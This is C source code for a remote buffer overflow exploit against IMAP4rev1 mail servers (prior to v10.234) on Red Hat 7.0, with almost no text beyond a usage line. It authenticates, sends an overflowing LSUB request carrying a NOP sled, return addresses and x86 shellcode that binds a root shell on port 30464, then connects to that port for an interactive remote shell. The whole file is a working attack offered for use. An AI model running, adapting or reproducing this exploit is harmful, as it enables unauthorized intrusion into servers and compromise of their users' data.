Redhat 7.0 remote buffer overflow exploit for IMAP4rev1 prior to v10.234.
75b065b2f0858851cd62bf6a2ee0bbb4ec171f8df9222e0aabcb9ca33987966d
/*
Redhat 7.0 remote buffer overflow exploit for IMAP4rev1 prior to v10.234
Usage: ./imap4 <hostname> <user> <password>
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX 1200
#define MYPORT 143
#define PORT 30464
#define OFFSET 1080
#define NOP 0x90
#define RET 0xbffff2c8 - OFFSET
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
main(int argc, char *argv[])
{
int i=0;
char buf[MAX];
int sockfd;
int numbytes;
struct hostent *he;
struct sockaddr_in their_addr;
if(argc!=4)
{
fprintf(stderr,"usage:%s <hostname> <user> <pass>\n",argv[0]);
exit(1);
}
if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(MYPORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
if( connect(sockfd,(struct sockaddr*)&their_addr,\
sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}
sprintf(buf,"1 LOGIN %s %s\r\n1 LSUB \"\" {1064}\r\n",argv[2],argv[3]);
// printf("%s",buf);
for(i=0;i<=OFFSET -1 ;i++)
buf[i]=NOP;
for(;i<OFFSET+32;i+=4)
*(int *) &buf[i] = RET;
memcpy(buf+100,shellcode,strlen(shellcode));
if( send(sockfd,buf,strlen(buf),0) ==-1)
{
perror("send");
exit(0);
}
close(sockfd);
/***************** second connection ************************/
sleep(2);
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
if( connect(sockfd,(struct sockaddr*)&their_addr,\
sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}
printf("sh> ");
while(1)
{
buf[0]='\0';
fgets(buf,MAX -1,stdin);
sprintf(buf,"%s \n",buf);
//printf("%s\n",buf);
if( send(sockfd,buf,strlen(buf),0) ==-1)
{
perror("send");
exit(0);
}
buf[0]='\0';
if( (numbytes=recv(sockfd,buf,MAX,0))==-1 ) {
perror("recv");
exit(1);
}
buf[numbytes]='\0';
printf("%s\nsh> ",buf);
}
close(sockfd);
return 0;
}